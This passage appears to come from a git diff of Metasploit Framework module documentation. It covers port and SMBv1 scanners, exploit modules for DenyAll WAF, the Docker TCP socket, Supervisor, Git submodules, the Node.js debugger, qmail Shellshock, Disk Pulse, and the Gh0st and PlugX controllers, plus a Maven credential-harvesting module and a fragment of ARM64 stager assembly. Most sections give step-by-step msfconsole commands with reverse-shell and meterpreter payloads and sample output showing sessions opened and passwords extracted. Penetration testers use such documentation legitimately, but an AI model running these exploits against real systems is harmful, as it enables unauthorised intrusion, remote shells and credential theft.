[*] TCP OPEN 192.168.45.159:3632
[*] TCP OPEN 192.168.45.159:6000
[*] TCP OPEN 192.168.45.159:6697
[*] TCP OPEN 192.168.45.159:8009
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,71 @@
## Description
This module will enumerate open TCP services by performing a full TCP connect on each port. This will establish a complete three-way handshake (SYN -> SYN/ACK -> ACK) on the target port. This does not need administrative privileges on the source machine, which may be useful if pivoting.
## Vulnerable Application
Any reachable TCP endpoint is a potential target.
## Options
**PORTS**
This is the list of ports to test for TCP Scan on each host.
Formats like `1-3`, `1,2,3`, `1,2-3`, etc. are all supported. Default
options is to scan `1-10000` ports.
**ConnectTimeout**
This options states the maximum number of seconds to establish a tcp
connection. Default value if `10`.
**VERBOSE**
Gives detailed message about the scan of all the ports. It also shows the
ports that were closed.
## Verification Steps
1. Do: ```use auxiliary/scanner/portscan/tcp```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set PORTS [PORTS]```
4. Do: ```run```
## Scenarios
### Metaspliotable 2
```
msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 192.168.45.159
msf auxiliary(tcp) > set PORTS 1-10000
msf auxiliary(tcp) > run
[*] 192.168.45.159: - 192.168.45.159:25 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:21 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:23 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:22 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:53 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:80 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:111 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:139 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:445 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:513 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:514 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:512 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:1099 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:1524 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:2049 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:2121 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:3306 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:3632 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:5432 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:5900 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:6000 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:6667 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:6697 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:8009 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:8180 - TCP OPEN
[*] 192.168.45.159: - 192.168.45.159:8787 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,55 @@
# Description
This module scans for hosts that support the SMBv1 protocol. It works by sending an SMB_COM_NEGOTATE request to each host specified in RHOSTS and claims that it only supports the following SMB dialects:
```PC NETWORK PROGRAM 1.0
LANMAN1.0
Windows for Workgroups 3.1a
LM1.2X002
LANMAN2.1
NT LM 0.12
```
If the SMB server has SMBv1 enabled it will respond to the request with a dialect selected.
If the SMB server does not support SMBv1 a RST will be sent.
___
# Usage
The following is an example of its usage, where x.x.x.x allows SMBv1 and y.y.y.y does not.
#### A host that does support SMBv1.
```
msf auxiliary(smb1) > use auxiliary/scanner/smb/smb1
msf auxiliary(smb1) > set RHOSTS x.x.x.x
RHOSTS => x.x.x.x
msf auxiliary(smb1) > run
[+] x.x.x.x:445 - x.x.x.x supports SMBv1 dialect.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb1) > services -S x.x.x.x
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
x.x.x.x 445 tcp smb1 open
```
#### A host that does not support SMBv1
```
msf auxiliary(smb1) > use auxiliary/scanner/smb/smb1
msf auxiliary(smb1) > set RHOSTS y.y.y.y
RHOSTS => y.y.y.y
msf auxiliary(smb1) > run
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
___
## Options
The only option is RHOSTS, which can be specified as a single IP, hostname, or an IP range in CIDR notation or range notation. It can also be set using hosts from the database using ```hosts -R```.

View File

@ -14,7 +14,7 @@
5. Do: `run` 5. Do: `run`
6. You will hopefully see something similar to, followed by a session: 6. You will hopefully see something similar to, followed by a session:
````[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '``` ```[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '```
## Options ## Options

View File

@ -187,7 +187,7 @@ finish
## Scenarios ## Scenarios
Just a standard run. Just a standard run.
```
msf > use exploit/linux/http/centreon_useralias_exec msf > use exploit/linux/http/centreon_useralias_exec
msf exploit(centreon_useralias_exec) > set payload cmd/unix/reverse_python msf exploit(centreon_useralias_exec) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python payload => cmd/unix/reverse_python

View File

@ -0,0 +1,47 @@
## Vulnerable Application
This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated users can execute a terminal command under the context of the web server user.
It's possible to have trial demo for 15 days at Amazon Marketplace.
[https://aws.amazon.com/marketplace/pp/B01N4Q0INA?qid=1505806897911](https://aws.amazon.com/marketplace/pp/B01N4Q0INA?qid=1505806897911)
You just need to follow instruction above URL.
## Verification Steps
A successful check of the exploit will look like this:
- [ ] Start `msfconsole`
- [ ] `use use exploit/linux/http/denyall_exec`
- [ ] Set `RHOST`
- [ ] Set `LHOST`
- [ ] Run `check`
- [ ] **Verify** that you are seeing `The target appears to be vulnerable.`
- [ ] Run `exploit`
- [ ] **Verify** that you are seeing `iToken` value extraction.
- [ ] **Verify** that you are getting `meterpreter` session.
## Scenarios
```
msf > use exploit/linux/http/denyall_exec
msf exploit(denyall_exec) >
msf exploit(denyall_exec) > set RHOST 35.176.123.128
RHOST => 35.176.123.128
msf exploit(denyall_exec) > set LHOST 35.12.3.3
LHOST => 35.12.3.3
msf exploit(denyall_exec) > check
[*] 35.176.123.128:3001 The target appears to be vulnerable.
msf exploit(denyall_exec) > exploit
[*] Started reverse TCP handler on 35.12.3.3:4444
[*] Extracting iToken value from unauthenticated accessible endpoint.
[+] Awesome. iToken value = n84b214ad1f53df0bd6ffa3dcfe8059a
[*] Trigerring command injection vulnerability with iToken value.
[*] Sending stage (40411 bytes) to 35.176.123.128
[*] Meterpreter session 1 opened (35.176.123.128:4444 -> 35.12.3.3:60556) at 2017-09-19 14:31:52 +0300
meterpreter > pwd
/var/log/denyall/reverseproxy
meterpreter >
```

View File

@ -0,0 +1,131 @@
# Vulnerable Application
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
with tls but without tls-auth), an attacker can create a Docker
container with the '/' path mounted with read/write permissions on the
host server that is running the Docker container. As the Docker
container executes command as uid 0 it is honored by the host operating
system allowing the attacker to edit/create files owned by root. This
exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
the host server.
The Docker image should exist on the target system or be a valid image
from hub.docker.com.
## Docker Engine
By default, Docker runs via a non-networked unix socket. It can also
optionally communicate using a tcp socket.
> Warning: Changing the default docker daemon binding to a TCP port or
Unix docker user group will increase your security risks by allowing
non-root users to gain root access on the host. Make sure you control
access to docker. If you are binding to a TCP port, anyone with access
to that port has full Docker access; so it is not advisable on an open
network. -- [from docs.docker.com][1]
This module was tested with Debian 9 and CentOS 7 as the host operating
system and with Docker CE 17.06.0-ce and Docker Engine 1.13.1.
### Install Debian 9
First [install Debian 9][2] with default task selection. This includes
the "*standard system utilities*".
### Install Docker
Then install a supported version of [Docker on Debian system][3].
```bash
# TL;DR
apt-get remove docker docker-engine
apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
apt-key fingerprint 0EBFCD88
# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88.
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
apt-get update
apt-get install docker-ce
docker run hello-world
```
### Activate unprotected tcp socket
Once Docker is installed, customize the Docker daemon options and add
the tcp socket `-H tcp://0.0.0.0:2375` option. On Debian override the
settings from `/lib/systemd/system/docker.service` with a new file
`/etc/systemd/system/docker.service`.
Further information: [docker systemd][4] and [docker daemon options][5].
```bash
# TL;DR
echo "[Service]
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375" | tee /etc/systemd/system/docker.service
systemctl daemon-reload
systemctl restart docker
curl http://127.0.0.1:2375/_ping ; echo
OK
```
### Mitigation
[Disable][5] or [protect][6] the Docker tcp socket.
# Exploitation
This module is designed for the attacker to leverage, creation of a
Docker container with out authentication through the Docker tcp socket
to gain root access to the hosting server of the Docker container.
## Options
- DOCKERIMAGE is the locally or from hub.docker.com available image you are wanting to have Docker to deploy for this exploit.
- CONTAINER_ID if you want to have a human readable name for your container, else it will be randomly generated
## Steps to exploit with module
- [ ] Start msfconsole
- [ ] use exploit/linux/http/docker_daemon_tcp
- [ ] Set the options appropriately and set VERBOSE to true
- [ ] Verify it creates a Docker container and it successfully runs
- [ ] After a minute a session should be opened from the Docker server
## Example Output
```
msf > use exploit/linux/http/docker_daemon_tcp
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
RHOST => 192.168.66.23
msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
LHOST => 192.168.66.10
msf exploit(docker_daemon_tcp) > set VERBOSE true
VERBOSE => true
msf exploit(docker_daemon_tcp) > check
[+] 192.168.66.23:2375 The target is vulnerable.
msf exploit(docker_daemon_tcp) > run
[*] Started reverse TCP handler on 192.168.66.10:4444
[*] Check if images exist on the target host
[*] Image is not available on the target host
[*] Trying to pulling image from docker registry, this may take a while
[*] Setting container json request variables
[*] Creating the docker container command
[*] The docker container is created, waiting for deploy
[*] Waiting for the cron job to run, can take up to 60 seconds
[*] Waiting until the docker container stopped
[*] The docker container has been stopped, now trying to remove it
[*] Sending stage (40411 bytes) to 192.168.66.23
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
[+] Deleted /etc/cron.d/lVoepNpy
[+] Deleted /tmp/poasDIuZ
meterpreter > sysinfo
Computer : debian
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter >
```
[1]:https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket
[2]:https://www.debian.org/releases/stretch/amd64/index.html.en
[3]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/
[4]:https://docs.docker.com/engine/admin/systemd/
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
[6]:https://docs.docker.com/engine/security/https/

View File

@ -56,7 +56,7 @@ dns-nameservers 8.8.8.8
1. Install the software as documented above 1. Install the software as documented above
2. Start `msfconsole` 2. Start `msfconsole`
3. `use exploit/linux/http/logsign_exec` 3. `use exploit/linux/http/logsign_exec`
4. `set rhost 12.0.0.10 4. `set rhost 12.0.0.10`
6. `python/meterpreter/reverse_tcp` is configured as a default payload. Change it if you need. Most of the case, you're okay go with default payload type. 6. `python/meterpreter/reverse_tcp` is configured as a default payload. Change it if you need. Most of the case, you're okay go with default payload type.
7. `set LHOST 12.0.0.1` 7. `set LHOST 12.0.0.1`
8. `check` and validate that you are seeing following output. 8. `check` and validate that you are seeing following output.

View File

@ -0,0 +1,78 @@
## Vulnerable Application
This module exploits an authenticated RCE vulnerability in Supervisor versions 3.0a1 to 3.3.2
This has been tested with versions 3.2.0 and 3.3.2
### Creating A Testing Environment
At the time of writing, version 3.2.0-2ubuntu0.1 is available in the Ubuntu repositories.
1. ```sudo apt-get install supervisor```
2. Enable Web interface/XML-RPC server in Supervisor config in `/etc/supervisor/supervisord.conf`
```
[inet_http_server] ; inet (TCP) server disabled by default
port=:9001 ; ip_address:port specifier, *:port for all iface
username=user ; default is no username (open server)
password=123 ; default is no password (open server)
```
3. Restart the service: `sudo service supervisor restart`
## Verification Steps
1. ```use exploit/linux/http/supervisor_xmlrpc_exec```
2. ```set lhost [IP]```
3. ```set rhost [IP]```
4. ```set httpusername user```
5. ```set httppassword 123```
6. ```exploit```
7. A meterpreter session should have been opened successfully
## Options
**HttpUsername**
Username for HTTP basic auth which is set in the conf file(optional)
**HttpPassword**
Password for HTTP basic auth which is set in the conf file(optional)
**TARGETURI**
The path to the XML-RPC endpoint
## Scenarios
### Supervisor 3.2.0 on Xubuntu 16.04
```
msf > use exploit/linux/http/supervisor_xmlrpc_exec
msf exploit(supervisor_xmlrpc_exec) > set httpusername user
httpusername => user
msf exploit(supervisor_xmlrpc_exec) > set httppassword 123
httppassword => 123
msf exploit(supervisor_xmlrpc_exec) > set lhost 192.168.0.2
lhost => 192.168.0.2
msf exploit(supervisor_xmlrpc_exec) > set rhost 192.168.0.19
rhost => 192.168.0.19
msf exploit(supervisor_xmlrpc_exec) > check
[*] Extracting version from web interface..
[*] Using basic auth (user:123)
[+] Vulnerable version found: 3.2.0
[*] 192.168.0.19:9001 The target appears to be vulnerable.
msf exploit(supervisor_xmlrpc_exec) > exploit
[*] Started reverse TCP handler on 192.168.0.2:4444
[*] Sending XML-RPC payload via POST to 192.168.0.19:9001/RPC2
[*] Using basic auth (user:123)
[*] Sending stage (2878872 bytes) to 192.168.0.19
[*] Command Stager progress - 100.00% done (782/782 bytes)
[+] Request timeout, usually indicates success. Passing to handler..
[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.19:36186) at 2017-08-30 01:24:45 +0100
meterpreter >
```

View File

@ -0,0 +1,62 @@
## Vulnerable Application
Git can be installed on a variety of operating systems, however
newer versions may contain the patch for this vulnerability.
On OSX it can be installed with the XCode command line tools:
```xcode-select --install```
On Linux it can be installed with apt:
```sudo apt-get update && sudo apt-get install git```
You can check the version with ```git --version```.
The fix is included in the following version:
2.7.6, 2.8.6, 2.9.5, 2.10.4, 2.11.3, 2.12.4, 2.13.5, 2.14.1
## Verification Steps
Example steps in this format:
1. Install the application
1. Start msfconsole
1. Do: ```use exploit/multi/http/git_submodule_command_exec```
1. Do: ```set SRVHOST [local host]```
1. Do: ```set LHOST [local host]```
1. Do: ```exploit```
1. Clone the malicious Git URI and its submodules
1. You should get a shell
## Options
**GIT_URI**
This is the URI the git repository will be hosted from (defaults to random).
**GIT_SUBMODULE**
This is the URI of the submodule within the git repository (defaults to random).
The url of this submodule, when cloned, will execute the payload.
## Scenarios
Example usage against a macOS Sierra x64 bit target running git version 2.10.1
```
msf > use exploit/multi/http/git_submodule_command_exec
msf exploit(git_submodule_command_exec) > set SRVHOST 192.168.0.1
SRVHOST => 192.168.0.1
msf exploit(git_submodule_command_exec) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(git_submodule_command_exec) > exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.0.1:4444
msf exploit(git_submodule_command_exec) > [*] Using URL: http://192.168.0.1:8080/D29MF1UC
[*] Server started.
[*] Malicious Git URI is http://192.168.0.1:8080/ldnwrixuqq.git
***
Victim executes: git clone http://192.168.0.1:8080/ldnwrixuqq.git --recurse-submodules
***
[*] Command shell session 1 opened (192.168.0.1:4444 -> 192.168.0.1:55151) at 2017-08-29 16:54:56 +0800
[*] Command shell session 2 opened (192.168.0.1:4444 -> 192.168.0.1:55152) at 2017-08-29 16:54:56 +0800
```

View File

@ -0,0 +1,47 @@
`struts2_rest_xstream` is a module that exploits Apache Struts 2's REST plugin, using the XStream handler to deserialise XML requests perform arbitrary code execution.
## Vulnerable Application
Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts 2.5.12
You can download these versions here with any version of Apache Tomcat:
http://archive.apache.org/dist/struts/
You will also need to install a Struts 2 showcase application, which can be found here:
https://mvnrepository.com/artifact/org.apache.struts/struts2-rest-showcase
## Options
**TARGETURI**
The path to a struts application action
**VHOST**
The HTTP server virtual host. You will probably need to configure this as well, even though it is set as optional.
## Demonstration
**The Check Command**
The `struts2_rest_xstream` module comes with a check command that can effectively check if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the following:
```
set VERBOSE true
set RHOST [IP]
set TARGETURI [path to the Struts app with an action]
```
When the module is in verbose mode, the `check` command will try to tell you the OS information, and whether or not the machine is vulnerable. Like this:
```
msf exploit(struts2_rest_xstream) > check
[+] 10.1.11.11:8080 The target appears to be vulnerable.
```
**Exploiting the Host**
After identifying the vulnerability on the target machine, you can try to exploit it. Be sure to set TARGETURI to the correct URI for your application, and the TARGET variable for the appropriate host OS.

View File

@ -0,0 +1,64 @@
## Vulnerable Application
Current and historical versions of node (or any JS env based on the
V8 JS engine) have this functionality and could be exploitable if
configured to expose the JS port on an untrusted interface.
Install a version of node using any of the normal methods:
* Vendor: https://nodejs.org/en/download/package-manager/
* Distro: `sudo apt-get install nodejs`
Alternately, use standard node docker containers as targets:
```
$ docker run -it --rm -p 5858:5858 node:4-wheezy node --debug=0.0.0.0:5858
```
(Others at https://hub.docker.com/_/node/)
Tested on Node 7.x, 6.x, 4.x
## Verification Steps
1. Run a node process exposing the debug port
```
node --debug=0.0.0.0:5858
```
2. Exploit it and catch the callback:
```
msfconsole -x "use exploit/multi/misc/nodejs_v8_debugger; set RHOST 127.0.0.1; set PAYLOAD nodejs/shell_reverse_tcp; set LHOST 127.0.0.1; handler -H 0.0.0.0 -P 4444 -p nodejs/shell_reverse_tcp; exploit
```
(If using docker hosts as targets for testing, ensure that LHOST addr is accessible to the container)
Note that in older Node versions (notably 4.8.4), the debugger will not immediately process the incoming eval message. As soon as there is some kind of activity
(such as a step or continue in the debugger, or just hitting enter), the payload will execute and the handler session will start.
## Scenarios
### Example Run (Node 7.x)
Victim:
```
$ node --version
v7.10.0
$ node --debug=0.0.0.0:5858
(node:83089) DeprecationWarning: node --debug is deprecated. Please use node --inspect instead.
Debugger listening on 0.0.0.0:5858
>
(To exit, press ^C again or type .exit)
```
Attacker:
```
msf exploit(nodejs_v8_debugger) > exploit
[*] Started reverse TCP handler on 10.0.0.141:4444
[*] 127.0.0.1:5858 - Sending 745 byte payload...
[*] 127.0.0.1:5858 - Got success response
[*] Command shell session 4 opened (10.0.0.141:4444 -> 10.0.0.141:53168) at 2017-09-04 00:37:17 -0700
id
(redacted)
```

View File

@ -0,0 +1,82 @@
## Vulnerable Application
Any qmail version (works on latest versions, qmail-1.03 and netqmail-1.06) running on a system with a vulnerable BASH (Shellshock). In order to execute code, /bin/sh has to be linked to bash (usually default configuration) and a valid recipient must be set on the RCPT TO field (usually admin@exampledomain.com). The exploit does not work on the "qmailrocks" community version as it ensures the MAILFROM field is well-formed.
## Setting up a vulnerable environment
Install Qmail on a Linux server with a shellshock vulnerable bash. Ensure that /bin/sh is linked to bash. Create an e-mail account on that qmail server. IMPORTANT: there is a community version of qmail, "qmailrocks" (http://qmailrocks.thibs.com/) which apply a patch that checks the vulnerable MAILFROM parameter. This version (with the patch applied) is NOT vulnerable. If you are using this version, change the "int mfcheck()" function on qmail-smtpd.c and ensure it returns always 0 (after applying the patch) and re-compile qmail-smtpd.
## Verification Steps
1. `use exploit/unix/smtp/qmail_bash_env_exec`
2. `set RHOST <target IP>`
3. `set MAILTO <valid e-mail recipient>`
4. `set payload cmd/unix/reverse`
5. `set LHOST <local IP>`
7. optionally set `RPORT` and `LPORT`
8. `exploit`
9. **Verify** a new shell session is started
## Options
**MAILTO**
A valid e-mail recipient. Usually, admin@targetdomain.com can be used.
## Sample Output
**Tested on qmail-1.03 on Debian 6.0.6 (squeeze). BASH version 4.1.5(1).**
```
msf > use exploit/unix/smtp/qmail_bash_env_exec
msf exploit(qmail_bash_env_exec) > set rhost 192.168.1.113
rhost => 192.168.1.113
msf exploit(qmail_bash_env_exec) > set mailto "admin@testqmail2.test"
mailto => admin@testqmail2.test
msf exploit(qmail_bash_env_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(qmail_bash_env_exec) > show options
Module options (exploit/unix/smtp/qmail_bash_env_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
MAILTO admin@testqmail2.test yes TO address of the e-mail
RHOST 192.168.1.113 yes The target address
RPORT 25 yes The target port (TCP)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.102 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(qmail_bash_env_exec) > run
[*] Started reverse TCP double handler on 192.168.1.102:4444
[*] 192.168.1.113:25 - Sending the payload...
[*] 192.168.1.113:25 - Sending RCPT TO admin@testqmail2.test
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo RvZfov9i2ZuveLXA;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "RvZfov9i2ZuveLXA\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 19 opened (192.168.1.102:4444 -> 192.168.1.113:48167) at 2017-05-04 15:11:02 +0200
whoami
vpopmail
```

View File

@ -17,7 +17,7 @@ The module includes an option named UsePostHTML which is turned off by default.
1. Start msfconsole 1. Start msfconsole
2. Do: ```use exploit/windows/browser/firefox_smil_uaf``` 2. Do: ```use exploit/windows/browser/firefox_smil_uaf```
3. Do: ```set payload [PREFERRED PAYLOAD] 3. Do: ```set payload [PREFERRED PAYLOAD]```
4. Do: ```set PAYLOAD [PAYLOAD NAME]``` 4. Do: ```set PAYLOAD [PAYLOAD NAME]```
5. Set payload options as needed 5. Set payload options as needed
6. Do: ```run```, and have a target browse to the generated URL 6. Do: ```run```, and have a target browse to the generated URL

View File

@ -0,0 +1,55 @@
## Vulnerable Application
Tested on Windows 7 x64 and x86.
Install the application from the link below and enable the web server by going to Options -> Server -> Enable Web Server on Port.
[Disk Pulse Enterprise v 9.9.16](https://www.exploit-db.com/apps/45ce22525c87c0762f6e467db6ddfcbc-diskpulseent_setup_v9.9.16.exe)
## Verification Steps
1. Install the application and set the option above to enable the web server
2. Start msfconsole
3. Do: ```use exploit/windows/http/disk_pulse_enterprise_get```
5. Set options and payload
6. Do: ```run```
7. You should get a shell.
## Options
**RHOST**
IP address of the remote host running the server.
**RPORT**
Port that the web server is running on. Default is 80 but it can be changed when setting up the program or in the options.
## Scenarios
To obtain a shell:
```
msf > use exploit/windows/http/disk_pulse_enterprise_get
msf exploit(disk_pulse_enterprise_get) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf exploit(disk_pulse_enterprise_get) > set RHOST x.x.x.x
RHOST => x.x.x.x
msf exploit(disk_pulse_enterprise_get) > set LHOST y.y.y.y
LHOST => y.y.y.y
msf exploit(disk_pulse_enterprise_get) > set LPORT 1234
LPORT => 1234
msf exploit(disk_pulse_enterprise_get) > set RPORT 8080
RPORT => 8080
msf exploit(disk_pulse_enterprise_get) > exploit
[*] Started reverse TCP handler on y.y.y.y:1234
[*] Generating exploit...
[*] Sending exploit...
[*] Command shell session 1 opened (y.y.y.y:1234 -> x.x.x.x:64567) at 2017-09-14 10:52:06 -0500
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
```

View File

@ -0,0 +1,42 @@
## Vulnerable Application
This module exploits a buffer overflow in the Gh0st Controller when handling a drive list as received by a victim.
This vulnerability can allow remote code execution in the context of the user who ran it.
A vulnerable version of the software is available here: [gh0st 3.6](https://github.com/rapid7/metasploit-framework/files/1243297/0efd83a87d2f5359fae051517fdf4eed8972883507fbd3b5145c3757f085d14c.zip)
## Verification Steps
1. Run the application
2. Start msfconsole
3. Do: `use exploit/windows/misc/gh0st`
4. Do: `set rhost [ip]`
5. Do: `exploit`
6. Get a shell
## Options
**MAGIC**
This is the 5 character magic used by the server. The default is `Gh0st`
## Scenarios
### Windows XP SP3 with gh0st 3.6
```
msf > use exploit/windows/misc/gh0st
msf exploit(gh0st) > set rhost 192.168.2.108
rhost => 192.168.2.108
msf exploit(gh0st) > exploit
[*] Started reverse TCP handler on 1.2.3.4:4444
[*] 1.2.3.1:80 - Trying target Gh0st Beta 3.6
[*] 1.2.3.1.108:80 - Spraying heap...
[*] 1.2.3.1:80 - Trying command 103...
[*] Sending stage (956991 bytes) to 1.2.3.1
[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 1.2.3.1:1303) at 2017-08-26 16:53:58 -0400
[*] 1.2.3.1:80 - Server closed connection
meterpreter >
```

View File

@ -0,0 +1,42 @@
## Vulnerable Application
This module exploits a stack overflow in the Plug-X Controller when handling a larger than expected message.
This vulnerability can allow remote code execution however it causes a popup message to be displayed on the target before execution is gained.
A vulnerable version of the software is available here: [PlugX type 1](https://github.com/rapid7/metasploit-framework/files/1243293/9f59a606c57217d98a5eea6846c8113aca07b203e0dcf17877b34a8b2308ade6.zip)
## Verification
1. Run the application
2. Start msfconsole
3. Do: `use exploit/windows/misc/plugx`
4. Do: `set rhost [ip]`
5. Do: `set target [target]`
6. Do: `exploit`
7. Click OK for the "PeDecodePacket" pop-up on the target
8. Get a shell
## Scenarios
### Windows XP SP3 with PlugX type 1
```
msf > use exploit/windows/misc/plugx
msf exploit(plugx) > set rhost 1.2.3.4
rhost => 1.2.3.4
msf exploit(plugx) > set target 1
target => 1
msf exploit(plugx) > set verbose true
verbose => true
msf exploit(plugx) > exploit
[*] Started reverse TCP handler on 1.2.3.99:4444
[*] 1.2.3.4:13579 - Trying target PlugX Type I...
[*] 1.2.3.4:13579 - waiting for response
[*] Sending stage (956991 bytes) to 1.2.3.4
[*] Meterpreter session 1 opened (1.2.3.99:4444 -> 1.2.3.4:1975) at 2017-09-04 19:53:07 -0400
[*] 1.2.3.4:13579 - Server closed connection
meterpreter > getuid
Server username: WINXP\user
```

View File

@ -30,6 +30,10 @@ PIDs to ASCII.
Optional byte-value to use for padding all CAN bus packets to an 8-byte length. Padding is disabled by default. Optional byte-value to use for padding all CAN bus packets to an 8-byte length. Padding is disabled by default.
**FC**
Optional. If true forces sending flow control packets on all multibyte ISO-TP requests
## Scenarios ## Scenarios
Given a standard vehicle ECU that is connected to can2 of the HWBridge device: Given a standard vehicle ECU that is connected to can2 of the HWBridge device:

View File

@ -0,0 +1,64 @@
## Vulnerable Application
[Maven](https://maven.apache.org/) a software project management.
This module seeks all settings.xml (Maven configuration file) on the target file system to extract credentials from them.
Credentials are store in the <server> tag ; the module also tries to cross the identifier found with the <mirror> or
<repository> tag in order to find the full realm the credentials belong to.
This module was successfully tested against:
- Ubuntu 14.04 and Maven 3.0.5 with shell and meterpreter as session type
- Debian 9 and Maven 3.0.5 with shell and meterpreter as session type
## Verification Steps
1. Get a `shell` or `meterpreter` session on some host.
2. Do: ```use post/multi/gather/maven_creds```
3. Do: ```set SESSION [SESSION_ID]```
4. Do: ```run```
5. If the system has readable configuration files (settings.xml) containing username and passwords, they will be printed out.
## Scenarios
### Ubuntu 14.04 and Maven version 3.0.5
```
msf post(maven_creds) > run
[*] Finding user directories
[*] Unix OS detected
[*] Looting 19 files
[*] Downloading /home/user/settings.xml
[*] Reading settings.xml file from /home/user/settings.xml
[*] Collected the following credentials:
[*] Id: server-nexus-dev
[*] Username: deploynexus-dev
[*] Password: password-dev
[*] Try to find url from id...
[*] No url found, id will be set as realm
[*] Collected the following credentials:
[*] Id: server-nexus-int
[*] Username: deploynexus-int
[*] Password: password-int
[*] Try to find url from id...
[*] Found url in mirror : http://www.myhost.com/int
[*] Collected the following credentials:
[*] Id: server-nexus-prd
[*] Username: deploynexus-prd
[*] Password: password-prd
[*] Try to find url from id...
[*] Found url in repository : http://www.myhost.com/prd
msf post(maven_creds) > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
deploynexus-dev password-dev server-nexus-dev Password
deploynexus-int password-int http://www.myhost.com/int Password
deploynexus-prd password-prd http://www.myhost.com/prd Password

View File

@ -1,2 +1,2 @@
Meterpreter source code has moved to its own repository, hosted at Meterpreter source code is part of the metasploit-payloads repository, hosted at
https://github.com/rapid7/meterpreter https://github.com/rapid7/metasploit-payloads

View File

@ -0,0 +1,98 @@
.equ SYS_READ, 0x3f
.equ SYS_MMAP, 0xde
.equ SYS_EXIT, 0x5d
start:
adr x2, size
ldr w2, [x2]
mov x10, x2
/* Page-align, assume <4GB */
lsr x2, x2, #12
add x2, x2, #1
lsl x2, x2, #12
/* mmap(addr=0, length='x2', prot=7, flags=34, fd=0, offset=0) */
mov x0, xzr
mov x1, x2
mov x2, #7
mov x3, #34
mov x4, xzr
mov x5, xzr
